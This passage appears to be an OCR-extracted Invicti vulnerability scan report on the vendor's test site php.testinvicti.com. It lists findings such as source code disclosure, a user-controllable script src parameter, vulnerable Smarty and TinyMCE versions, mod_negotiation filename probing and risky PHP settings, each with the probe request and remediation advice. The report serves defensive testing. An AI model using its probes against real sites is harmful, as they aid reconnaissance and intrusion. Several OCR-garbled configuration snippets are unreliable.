Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Source Code Disclosure

Severity Medium
Reported by module /httpdata/text search.js
Description

The application is exposing source code files that contain server-side programming logic, such as ASP, PHP,
JSP, or other scripting languages. This occurs when web servers are misconfigured or when source files are
accessible through direct requests. Pattern matching has detected server-side tags or code structures in


https://www.php.net/session.configuration

responses, though false positives may occasionally occur with legitimate content containing similar
patterns.

Impact

Exposed source code allows attackers to analyze the application's internal logic, business rules, and
security mechanisms. This disclosure can reveal sensitive information including database credentials, API
keys, authentication mechanisms, file paths, and algorithmic implementations. Attackers can use this
information to identify additional vulnerabilities, craft targeted attacks, bypass security controls, or gain
unauthorized access to backend systems and data.

Recommendation

Take the following steps to remediate source code disclosure:

1. Remove exposed files: Delete any source code files that are not required for production operation
from publicly accessible directories.

2. Configure web server properly: Ensure your web server is configured to process server-side scripts
rather than serving them as static files. Verify that file extensions (.asp, .php, .jsp, etc.) are properly
mapped to their respective handlers.

3. Restrict file access: Configure directory permissions to prevent direct access to source files.

4. Store sensitive files outside web root: Place configuration files, include files, and libraries outside
the publicly accessible web directory.

5. Audit your deployment: Review your deployment process to ensure source files are not inadvertently
copied to production servers.

References

Why is Source Code Disclosure Dangerous?
CWE-540: Inclusion of Sensitive Information in Source Code

Affected items

Web Server
Details

Pages with source code disclosed:

¢ http://php.testinvicti.com/Generics/page.html
<?php include "sidebar.php"?>
<!-- end #sidebar -->
<div style="clear: both;">&nbsp;</div>
</div>
</div>

</div>

Request headers

GET /Generics/page.html HTTP/1.1
Referer: http://php.testinvicti.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8


https://invicti.com/learn/source-code-disclosure/
https://cwe.mitre.org/data/definitions/540.html

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

SSL/TLS Not Implemented

Severity Medium

Reported by module /target/no_https.js

Description

The application is accessible over an unencrypted HTTP connection instead of HTTPS. Without SSL/TLS
encryption, all data transmitted between the client and server travels in plaintext across the network,
making it vulnerable to interception and manipulation by attackers positioned anywhere along the
communication path.

Impact

Attackers with network access can perform man-in-the-middle (MITM) attacks to intercept sensitive
information such as authentication credentials, session tokens, personal data, and other confidential
information. Additionally, attackers can modify requests and responses in transit, potentially injecting
malicious content, redirecting users to phishing sites, or altering application behavior without detection.
This violates data confidentiality and integrity principles.

Recommendation

Implement SSL/TLS encryption to secure all communications between clients and the server. Configure
your web server to redirect all HTTP traffic to HTTPS and obtain a valid SSL/TLS certificate from a trusted
Certificate Authority (CA).

For Apache, add the following to your configuration:

<VirtualHost *:80>

ServerName example.com

Redirect permanent / https://example.com/
</VirtualHost>

<VirtualHost *:443>
ServerName example.com
SSLEngine on
SSLCertificateFile /path/to/certificate.crt
SSLCertificateKeyFile /path/to/private.key
SSLCertificateChainFile /path/to/chain.crt
</VirtualHost>

For Nginx:
server {
listen 80;
server _name example.com;
return 301 https://$server name$request uri;



server {
listen 443 ssl;
server_name example.com;
ssl certificate /path/to/certificate.crt;
ssl certificate key /path/to/private.key;
ssl protocols TLSv1l.2 TLSvl.3;

Additionally, implement HTTP Strict Transport Security (HSTS) headers to enforce HTTPS connections and
consider enabling HSTS preloading for enhanced security.

References

SSL/TLS Not Implemented |_Invicti

Affected items

Web Server
Verified vulnerability

Details

Request headers

GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

User controllable tag parameter (DOM-based)

Severity Medium
Reported by module /deepscan/user_controlled_html_attr.js
Description

This vulnerability occurs when user-controlled input is used to set attributes of sensitive HTML tags (such
as the href attribute of or tags) without proper validation or sanitization. The manipulation happens in the
DOM (Document Object Model) through client-side JavaScript, allowing_attackers to inject malicious values
that can alter page behavior or execute unauthorized scripts.

Impact

JavaScript code or redirecting_users to attacker-controlled domains. This can lead to session hijacking,
credential theft, defacement of the web application, or delivery of malware to unsuspecting_users. Since
the vulnerability is DOM-based, it may bypass server-side security controls and be harder to detect through
traditional security measures.



https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/ssltls-not-implemented/

Recommendation

Implement strict input validation and output encoding_for all user-controlled data before using_it to set
HTML tag_attributes. Follow these steps:

1. Validate Input: Use allowlists to restrict input to expected values and formats. Reject any input that
doesn't match the expected pattern.

2. Sanitize Output: Use context-appropriate encoding when inserting_user data into the DOM. For URLs,

use URL encoding_and validate that the protocol is safe (http/https only)

3. Use Security Libraries: Leverage established sanitization libraries such as DOMPurify for JavaScript or
built-in framework sanitizers.

Example of safe URL handling:

// Unsafe - directly using_user input

const userInput = getUrlParameter('redirect');

element.href = userInput; // Vulnerable!

// Safe - validate and sanitize

function isSafeUrl(url) {

_try {
const parsed = new URL(url, window.location.origin);

return ['http:', 'https:']l.includes(parsed.protocol);
} _catch (e) {
return false;
I
X

const userInput = getUrlParameter('redirect"');
if (isSafeUrl(userInput)) {
element.href = userInput;

} else {

element.href '/default-page'; // Safe fallback

4. Implement Content Security Policy (CSP): Deploy CSP headers to provide an additional layer of
defense against XSS attacks.

References

OWASP - Cross Site Scripting_(XSS)
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected items

/products.php
Details

Query input pro was set to https://example.com/.
Test URL: http://php.testinvicti.com/products.php?pro=https%3A%2F%2Fexample.com%2F
The tag script can be controlled, attribute src.


https://owasp.org/www-community/attacks/xss/
https://cwe.mitre.org/data/definitions/829.html

Vulnerable package dependencies [medium]

Severity Medium
Reported by module /httpdata/sca_analyze package files.js
Description

Your web application contains one or more third-party package dependencies with known security
vulnerabilities of medium severity. These vulnerabilities have been publicly disclosed and documented in
security advisories. Attackers may exploit these weaknesses if the vulnerable packages are not updated or
removed from your application.

Impact

The security impact varies depending on the specific vulnerability in each affected package. Potential
consequences may include unauthorized data access, denial of service, remote code execution, or other
security compromises. The actual risk to your application depends on how the vulnerable package is used,
whether the vulnerable code paths are reachable, and the exposure of your application to potential
attackers. Each CVE listed in the details section should be evaluated individually to determine the specific
risk to your environment.

Recommendation

Follow these steps to remediate vulnerable package dependencies:

1. Review the details section to identify all affected packages, their current versions, and associated
CVEs.
2. Check for available updates by consulting the package repository or maintainer's security advisories
to determine if patched versions exist.
3. Update vulnerable packages to the latest secure version using your package manager. Test
thoroughly after updating to ensure compatibility.
4. If no fix is available, consider these alternatives:

- Search for alternative packages that provide similar functionality without known vulnerabilities

- Implement additional security controls or input validation to mitigate the specific vulnerability

- Contact the package maintainer to request a security patch

- Remove the package if it's not essential to your application
5. Implement continuous monitoring by integrating software composition analysis (SCA) into your
Cl/CD pipeline to detect new vulnerabilities in dependencies automatically.

References

Software composition analysis (SCA)

Affected items

/vendor/installed.json
Details

List of vulnerable composer packages:

Package: smarty/smarty

Version: 4.0.0.0

CVE: CVE-2018-25047

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')


https://www.invicti.com/learn/software-composition-analysis-sca/

Description: In Smarty before 3.1.47 and 4.x before 4.2.1, libs/plugins/function.mailto.php allows XSS.
A web page that uses smarty_function_mailto, and that could be parameterized using GET or POST input
parameters, could allow injection of JavaScript code by a user.

CVSS V2:

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CWE: CWE-79

References:

e https://bugs.gentoo.org/870100

e https://github.com/smarty-php/smarty/issues/454

e https://github.com/smarty-php/smarty/releases/tag/v3.1.47

¢ https://github.com/smarty-php/smarty/releases/tag/v4.2.1

¢ https://lists.debian.org/debian-Ilts-announce/2023/01/msg00002.html
¢ https://security.gentoo.org/glsa/202209-09

o https://lists.debian.org/debian-lts-announce/2024/11/msg00013.html

Package: smarty/smarty

Version: 4.0.0.0

CVE: CVE-2023-28447

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Description: Smarty is a template engine for PHP. In affected versions smarty did not properly escape
javascript code. An attacker could exploit this vulnerability to execute arbitrary JavaScript code in the
context of the user's browser session. This may lead to unauthorized access to sensitive user data,
manipulation of the web application's behavior, or unauthorized actions performed on behalf of the user.
Users are advised to upgrade to either version 3.1.48 or to 4.3.1 to resolve this issue. There are no
known workarounds for this vulnerability.

CVSS V2:

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE: CWE-79

References:

¢ https://github.com/smarty-php/smarty/commit/685662466f653597428966d75a661073104d713d

¢ https://github.com/smarty-php/smarty/security/advisories/GHSA-7j98-h7fp-4vwj

¢ https://lists.fedoraproject.org/archives/list/package-
announce@lists.fedoraproject.org/message/HSAUM3YHWHO4UCJXRGRLQGPJAO3MFOZzZ/

o https://lists.fedoraproject.org/archives/list/package-
announce@lists.fedoraproject.org/message/|BB35GLYTL6JLEEOM6BOZNYP47JKNNHT/

¢ https://lists.fedoraproject.org/archives/list/package-
announce@lists.fedoraproject.org/message/P707SKTATM6GAP45S64QF XNLWIYS5I7HP/

¢ https://lists.debian.org/debian-lts-announce/2024/11/msg00013.html

Package: tinymce/tinymce

Version: 5.2.0.0

CVE: CVE-2019-1010091

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Description: tinymce 4.7.11, 4.7.12 is affected by: CWE-79: Improper Neutralization of Input During
Web Page Generation. The impact is: JavaScript code execution. The component is: Media element. The
attack vector is: The victim must paste malicious content to media element's embed tab.

CVSS V2: AV:N/AC:M/Au:N/C:N/I:P/A:N



CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79
References:

¢ https://github.com/tinymce/tinymce/issues/4394

Package: tinymce/tinymce

Version: 5.2.0.0

CVE: CVE-2020-12648

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Description: A cross-site scripting (XSS) vulnerability in TinyMCE 5.2.1 and earlier allows remote
attackers to inject arbitrary web script when configured in classic editing mode.

CVSS V2: AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:C/C:L/I:L/A:N

CWE: CWE-79

References:

¢ https://labs.bishopfox.com/advisories/tinymce-version-5.2.1

Package: tinymce/tinymce

Version: 5.2.0.0

CVE: CVE-2022-23494

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Description: tinymce is an open source rich text editor. A cross-site scripting (XSS) vulnerability was
discovered in the alert and confirm dialogs when these dialogs were provided with malicious HTML
content. This can occur in plugins that use the alert or confirm dialogs, such as in the “image” plugin,
which presents these dialogs when certain errors occur. The vulnerability allowed arbitrary JavaScript
execution when an alert presented in the TinyMCE Ul for the current user. This vulnerability has been
patched in TinyMCE 5.10.7 and TinyMCE 6.3.1 by ensuring HTML sanitization was still performed after
unwrapping invalid elements. Users are advised to upgrade to either 5.10.7 or 6.3.1. Users unable to
upgrade may ensure the the "images_upload_handler’ returns a valid value as per the
images_upload_handler documentation.

CVSS V2:

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE: CWE-79

References:

¢ https://github.com/tinymce/tinymce/commit/6923d85ebabde3e08ebc9c5a387b5abdaa21150e
¢ https://github.com/tinymce/tinymce/commit/8bb2d2646d4ela718fce6la775fa22e9d317b32d
e https://github.com/tinymce/tinymce/security/advisories/GHSA-gg8r-xjwq-4w92

e https://www.tiny.cloud/docs/release-notes/release-notes5107/#securityfixes

¢ https://www.tiny.cloud/docs/tinymce/6/6.3-release-notes/#security-fixes

¢ https://www.tiny.cloud/docs/tinymce/6/file-image-upload/#images_upload_handler

Package: tinymce/tinymce

Version: 5.2.0.0

CVE: CVE-2023-45818

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')



Description: TinyMCE is an open source rich text editor. A mutation cross-site scripting (mXSS)
vulnerability was discovered in TinyMCEa[]Js core undo and redo functionality. When a carefully-crafted
HTML snippet passes the XSS sanitisation layer, it is manipulated as a string by internal trimming
functions before being stored in the undo stack. If the HTML snippet is restored from the undo stack, the
combination of the string manipulation and reparative parsing by either the browser's native [DOMParser
API](https://developer.mozilla.org/en-US/docs/Web/API/DOMParser) (TinyMCE 6) or the SaxParser API
(TinyMCE 5) mutates the HTML maliciously, allowing an XSS payload to be executed. This vulnerability
has been patched in TinyMCE 5.10.8 and TinyMCE 6.7.1 by ensuring HTML is trimmed using node-level
manipulation instead of string manipulation. Users are advised to upgrade. There are no known
workarounds for this vulnerability.

CVSS V2:

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE: CWE-79

References:

e https://github.com/tinymce/tinymce/security/advisories/GHSA-v65r-p3vv-jjfv

¢ https://researchgate.net/publication/266654651_mXSS_attacks_Attacking_well-secured_web-
applications_by using_innerHTML_mutations

¢ https://tiny.cloud/docs/release-notes/release-notes5108/#securityfixes

¢ https://tiny.cloud/docs/tinymce/6/6.7.1-release-notes/#security-fixes

¢ https://www.tiny.cloud/docs/api/tinymce.html/tinymce.html.saxparser/

Package: tinymce/tinymce

Version: 5.2.0.0

CVE: CVE-2023-45819

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Description: TinyMCE is an open source rich text editor. A cross-site scripting (XSS) vulnerability was
discovered in TinyMCEa[]Js Notification Manager API. The vulnerability exploits TinyMCE's unfiltered
notification system, which is used in error handling. The conditions for this exploit requires carefully
crafted malicious content to have been inserted into the editor and a notification to have been triggered.
When a notification was opened, the HTML within the text argument was displayed unfiltered in the
notification. The vulnerability allowed arbitrary JavaScript execution when an notification presented in
the TinyMCE Ul for the current user. This issue could also be exploited by any integration which uses a
TinyMCE notification to display unfiltered HTML content. This vulnerability has been patched in TinyMCE
5.10.8 and TinyMCE 6.7.1 by ensuring that the HTML displayed in the notification is sanitized, preventing
the exploit. Users are advised to upgrade. There are no known workarounds for this vulnerability.

CVSS V2:

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:C/C:L/I:L/A:N

CWE: CWE-79

References:

e https://github.com/tinymce/tinymce/security/advisories/GHSA-hgqgx-r2hp-jr38

Package: tinymce/tinymce

Version: 5.2.0.0

CVE: CVE-2023-48219

Title: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Description: TinyMCE is an open source rich text editor. A mutation cross-site scripting (mXSS)
vulnerability was discovered in TinyMCEa[]Js core undo/redo functionality and other APIs and plugins.



Text nodes within specific parents are not escaped upon serialization according to the HTML standard. If
such text nodes contain a special character reserved as an internal marker, they can be combined with
other HTML patterns to form malicious snippets. These snippets pass the initial sanitisation layer when
the content is parsed into the editor body, but can trigger XSS when the special internal marker is
removed from the content and re-parsed. his vulnerability has been patched in TinyMCE versions 6.7.3
and 5.10.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

CVSS V2:

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE: CWE-79

References:

¢ https://github.com/tinymce/tinymce/security/advisories/GHSA-v626-r774-j7f8
¢ https://tiny.cloud/docs/release-notes/release-notes5109/
e https://tiny.cloud/docs/tinymce/6/6.7.3-release-notes/

Apache mod_negotiation filename bruteforcing

Severity Low
Reported by module /Scripts/PerServer/Apache_mod_negotiation_Filename_Bruteforcing.script
Description

The Apache mod_negotiation module automatically selects the most appropriate document variant based
on client capabilities (language, encoding, etc.). When a client sends a malformed or unsupported Accept
header to a server with the MultiViews option enabled, Apache responds with a 406 Not Acceptable error
that inadvertently includes a list of available file variants in the directory. This behavior exposes internal
file structure information that should not be publicly accessible, allowing attackers to enumerate filenames,
extensions, and potentially discover sensitive files without proper authorization.

Impact

Attackers can exploit this vulnerability to gather reconnaissance information about the web server's file
structure. This information disclosure enables several attack vectors: enumeration of valid filenames and
their variants (e.g., index.php, index.html), discovery of file extensions that may reveal technologies in use,
identification of backup files (e.g., .bak, .old, .swp) that may contain sensitive data or credentials, and
mapping of directory contents without requiring directory listing permissions. While this vulnerability does
not directly compromise data, the exposed information significantly aids attackers in planning more
targeted attacks against the application.

Recommendation

Disable the MultiViews option in Apache's mod_negotiation module to prevent automatic content
negotiation from exposing file information. This can be accomplished through multiple methods:

Method 1: Using .htaccess file (per-directory)
Create or modify the .htaccess file in the affected directory with the following directive:

Options -MultiViews

Method 2: Apache configuration file (server-wide)



Edit your Apache configuration file (httpd.conf or apache2.conf) and modify the Options directive within the
appropriate Directory block:
<Directory /var/www/html>
Options -MultiViews -Indexes
AllowOverride None
Require all granted
</Directory>

Method 3: Virtual host configuration (per-site)
Add the Options directive to your virtual host configuration:
<VirtualHost *:80>
ServerName example.com
DocumentRoot /var/www/html
Options -MultiViews
</VirtualHost>

After making changes, verify the configuration syntax with apachectl configtest or apache2ctl
configtest, then restart Apache using systemctl restart apache2 or service httpd restart
depending on your system.

References

mod_negotiation: directory listing, filename bruteforcing

Apache Module mod_negotiation

Affected items

Web Server
Details

Pattern found:
<title>406 Not Acceptable</title>

Request headers

GET /index HTTP/1.1

Accept: kkbmyuco/ezal

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Insecure Frame (External)

Severity Low
Reported by module /httpdata/iframe_sandbox.js
Description

The application uses an HTML iframe element to embed external content from a different origin without
proper security restrictions. The iframe either lacks the 'sandbox' attribute entirely or has an insecure


http://www.ush.it/2008/07/02/mod_negotiation-directory-listing-filename-bruteforcing/
http://www.wisec.it/sectou.php?id=4698ebdc59d15
http://httpd.apache.org/docs/2.2/mod/mod_negotiation.html

sandbox configuration that permits potentially dangerous capabilities. This creates an opportunity for the
embedded content to interact with the parent page in unintended ways.

Impact

An insecurely configured iframe allows embedded third-party content to execute scripts, navigate the top-
level window, submit forms, or access sensitive browser features. This can enable clickjacking attacks,
unauthorized redirects, or manipulation of the parent page's DOM. Attackers controlling the embedded
resource could trick users into performing unintended actions, steal sensitive information through frame
manipulation, or compromise the security context of the hosting page.

Recommendation

Apply the 'sandbox' attribute to all iframes embedding external content to enforce security restrictions by
default. Start with an empty sandbox attribute for maximum security, then selectively add only the
minimum required directives based on legitimate functionality needs.

Secure baseline configuration:

<iframe src="https://external-site.com" sandbox=""></iframe>

If specific capabilities are required, add only necessary directives:
<iframe src="https://external-site.com"
sandbox="allow-scripts allow-same-origin">

</iframe>

Avoid using 'allow-top-navigation', 'allow-top-navigation-by-user-activation', and 'allow-popups' unless
absolutely necessary. Never combine 'allow-scripts' and 'allow-same-origin' for untrusted content from the
same origin, as this negates sandbox protections. Consider using Content Security Policy (CSP) frame-
ancestors directive as an additional defense layer.

References

MDN | iframe: The Inline Frame Element
HTML Standard: iframe
HTML 5.2: 4.7. Embedded content

Affected items

/process.php

Verified vulnerability

Details

An iframe tag references an external resource, and no sandbox attribute is set.
Request headers

GET /process.php?file=Generics/contact.nsp HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com


https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element
https://www.w3.org/TR/html52/semantics-embedded-content.html#element-attrdef-iframe-sandbox

Connection: Keep-alive

PHP allow_url_fopen Is Enabled

Severity Low
Reported by module /Scripts/PerFolder/PHPInfo.script
Description

The PHP configuration directive allow url fopen is currently enabled on this server. This setting permits
PHP functions like include(), require(), and file get contents() to retrieve data from remote
locations using URL wrappers (such as HTTP and FTP). While this functionality can be legitimate, it
significantly increases the attack surface for remote file inclusion (RFI) vulnerabilities when combined with
insufficient input validation. This directive is enabled by default in PHP installations.

Impact

When allow url fopen is enabled, attackers can exploit insufficient input validation to include and
execute malicious code from remote servers. This can lead to:

* Remote Code Execution: Attackers can execute arbitrary PHP code on the server by including
malicious remote files

* Data Theft: Sensitive information including database credentials, configuration files, and user data may
be exposed

¢ Server Compromise: Complete server takeover is possible if remote code execution is achieved

* Lateral Movement: Compromised servers can be used as pivot points to attack internal network
resources

The actual risk depends on whether the application uses user-supplied input in file inclusion functions
without proper validation.

Recommendation

Disable allow url fopen unless your application specifically requires remote file access functionality.
Follow these steps based on your PHP version and server configuration:

Method 1: Modify php.ini (Recommended for PHP 4.3.4 and newer)
1. Locate your php.ini file (typically in /etc/php/ or /usr/local/lib/)

2. Find the allow url fopen directive

3. Set it to Off:

allow url fopen = Off
4. Restart your web server (Apache, Nginx, etc.)

Method 2: Use .htaccess (For PHP 4.3.4 and older running as Apache module)
Add the following to your .htaccess file:
php_flag allow url fopen off

Verification:
After making changes, verify the setting by checking phpinfo() or running:
php -i | grep allow url fopen



Alternative Approach:

If your application requires remote file access, consider using cURL functions instead, which provide better
control and security options for remote requests. Additionally, implement strict input validation and use
allowlists for any file inclusion operations.

References

Runtime Configuration

Affected items

/phpinfo.php
Verified vulnerability
Details

This vulnerability was detected using the information from phpinfo() page.

allow_url_fopen: On
Request headers

GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

PHP allow_url_include Is Enabled

Severity Low
Reported by module /Scripts/PerFolder/PHPInfo.script
Description

The PHP configuration directive allow url include is currently enabled on this server. This setting
permits PHP include functions (such as include(), require(), include once(), and require once()) to
retrieve and execute files from remote locations via HTTP or FTP protocols. When combined with
insufficient input validation, this configuration significantly increases the risk of Remote File Inclusion (RFI)
attacks, where attackers can inject and execute malicious code from external sources. This directive has
been disabled by default since PHP 5.2 due to security concerns.

Impact

Enabling allow url include creates a potential attack vector for Remote File Inclusion (RFI)
vulnerabilities. If application code uses user-controlled input in include statements without proper
validation, attackers can reference malicious PHP files hosted on external servers, leading to arbitrary code
execution on the web server. This can result in complete system compromise, unauthorized data access,
data theft, website defacement, or the server being used as a pivot point for further attacks. The actual
risk level depends on whether the application uses dynamic include statements with user input.


https://www.php.net/manual/en/filesystem.configuration.php

Recommendation

Disable the allow url include directive immediately unless there is a specific, documented business
requirement for remote file inclusion. This setting can be disabled through the following methods:

Method 1: Modify php.ini (Recommended)
Locate your php.ini configuration file and set:

allow_url_include = Off

Method 2: Configure via .htaccess (Apache only)
Add the following directive to your .htaccess file:
php flag allow url include Off

Additional Security Measures:

* Review all code using include(), require(), include once(), and require once() functions to ensure
user input is never directly used in file paths

* Implement whitelist-based validation for any dynamic file inclusion requirements

e Consider disabling allow url fopen as well if remote file access is not required

e Restart your web server after making configuration changes to apply the new settings

References

Runtime Configuration

Affected items

/phpinfo.php
Verified vulnerability
Details

This vulnerability was detected using the information from phpinfo() page.

allow_url_include: On
Request headers

GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

PHP display_errors Is Enabled

Severity Low

Reported by module /Scripts/PerFolder/PHPInfo.script

Description


https://www.php.net/manual/en/filesystem.configuration.php

The PHP display errors directive controls whether error messages are shown directly in the application's
output. When enabled in production environments, this setting causes PHP to display detailed error and
warning messages to end users, potentially exposing sensitive information about the application's file
structure, database queries, configuration details, and internal logic.

Invicti detected that the display errors directive is currently enabled on this server.
Impact

When display errors is enabled, attackers can gain valuable reconnaissance information through error
messages that may reveal:

e Full file system paths and directory structures

* Database schema details, table names, and query structures

e Third-party library versions and dependencies

e Application logic and code flow

e Configuration weaknesses

This information significantly reduces the effort required for attackers to identify and exploit other
vulnerabilities, enabling them to craft more targeted and effective attacks against the application.

Recommendation

Disable the display errors directive and enable log errors to ensure errors are logged securely instead
of being displayed to users.

Option 1: Modify php.ini (recommended for server-wide configuration)
Locate your php.ini file and set the following directives:

display errors = Off
log _errors = On
error_log = /var/log/php/error.log

Option 2: Use .htaccess (for Apache with mod_php)
Add the following directives to your .htaccess file:
php_flag display errors Off

php _flag log errors On

php_value error_log /var/log/php/error.log

Option 3: Configure at runtime (application-level)
Add this code at the beginning of your PHP scripts or bootstrap file:

ini set('display _errors', '0');
ini set('log errors', '1');
ini set('error_log', '/var/log/php/error.log');

After making changes, restart your web server and verify the configuration using a test script. Ensure the
error log directory exists and is writable by the web server process.

References

PHP Runtime Configuration (display_errors),
PHP Runtime Configuration (log_errors)

Affected items

/phpinfo.php


https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors
https://www.php.net/manual/en/errorfunc.configuration.php#ini.log-errors

Verified vulnerability
Details

This vulnerability was detected using the information from phpinfo() page.

display_errors: On
Request headers

GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

PHP open_basedir Is Not Configured

Severity Low
Reported by module /Scripts/PerFolder/PHPInfo.script
Description

The PHP open_basedir directive restricts file system access to a specified directory tree, preventing scripts
from accessing files outside the designated path. When properly configured, this directive acts as a
security boundary that limits which files can be opened by PHP functions such as fopen(),

file_get contents(), and include(). Without this restriction, applications are more vulnerable to path
traversal and local/remote file inclusion attacks, as attackers can potentially access sensitive files
anywhere on the server's file system.

Impact

Without open_basedir configured, the application has unrestricted file system access, significantly
increasing the attack surface for file inclusion vulnerabilities. Attackers exploiting local or remote file
inclusion flaws can read sensitive files such as configuration files, password files, or system logs located
anywhere on the server. This can lead to information disclosure, credential theft, and in some cases,
remote code execution if attackers can include malicious files or leverage PHP wrappers to execute
arbitrary code. The severity increases when combined with other vulnerabilities or misconfigurations.

Recommendation

Configure the open_basedir directive to restrict PHP file access to only the directories required by your
application. This should be set in your php.ini configuration file or within your web server's virtual host
configuration.

Method 1: Global Configuration (php.ini)
Add or modify the following line in your php.ini file:

open basedir = "/var/www/html/:/tmp/"

This example restricts access to the web root and temporary directory. Adjust paths according to your
application's needs.



Method 2: Per-Virtual Host (Apache)

Add the following to your Apache virtual host configuration:
php_admin_value open_basedir "/var/www/yourapp/:/tmp/"

Method 3: Per-Virtual Host (Nginx with PHP-FPM)
Add to your PHP-FPM pool configuration:
php_admin value[open basedir] = /var/www/yourapp/:/tmp/

After configuration, restart your web server and PHP service. Verify the setting is active by checking
phpinfo() output. Use the most restrictive path possible while ensuring your application functions correctly.
Separate multiple allowed directories with a colon (:) on Linux or semicolon (;) on Windows.

References

Description of core php.ini directives

Affected items

/phpinfo.php
Verified vulnerability
Details

This vulnerability was detected using the information from phpinfo() page.

open_basedir: no value
Request headers

GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

[Possible] Internal IP Address Disclosure

Severity Low
Reported by module /httpdata/text search.js
Description

The application exposes internal IPv4 addresses (such as 10.x.x.x, 172.16.x.x-172.31.x.x, or 192.168.x.x) in
its responses. These addresses reveal details about the organization's internal network topology and IP
addressing scheme. Attackers can leverage this information to map the internal infrastructure, identify
potential targets for lateral movement, and craft more sophisticated attacks against internal systems.

The significance of this finding should be confirmed manually, as some matches may be false positives or
intentionally disclosed addresses.


https://www.php.net/ini.core

Impact

Disclosure of internal IP addresses provides attackers with reconnaissance information about the internal
network infrastructure. This information can be used to identify network segmentation, determine the scale
of the internal network, and plan targeted attacks against specific internal systems. While not directly
exploitable, this information disclosure reduces the effort required for attackers to map the network and
can facilitate subsequent attacks such as social engineering, targeted phishing, or exploitation of internal
services if perimeter defenses are bypassed.

Recommendation

Remove or sanitize internal IP addresses from all application responses, error messages, and debug output.
Implement the following measures:

1. Review and sanitize output: Audit all application code that generates user-facing content, logs, or
error messages to ensure internal IP addresses are not included.

2. Configure web servers and proxies: Ensure web servers and reverse proxies do not expose internal
IP addresses in headers (such as X-Forwarded-For or Via headers) or error pages.

3. Implement output filtering: Use a centralized output filter to detect and replace internal IP addresses
before sending responses to clients.

Example filter implementation:

// Example: Sanitize internal IPs in application responses
function sanitizeInternallIPs(content) {
const internallPPatterns = [
/\b10\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/g,
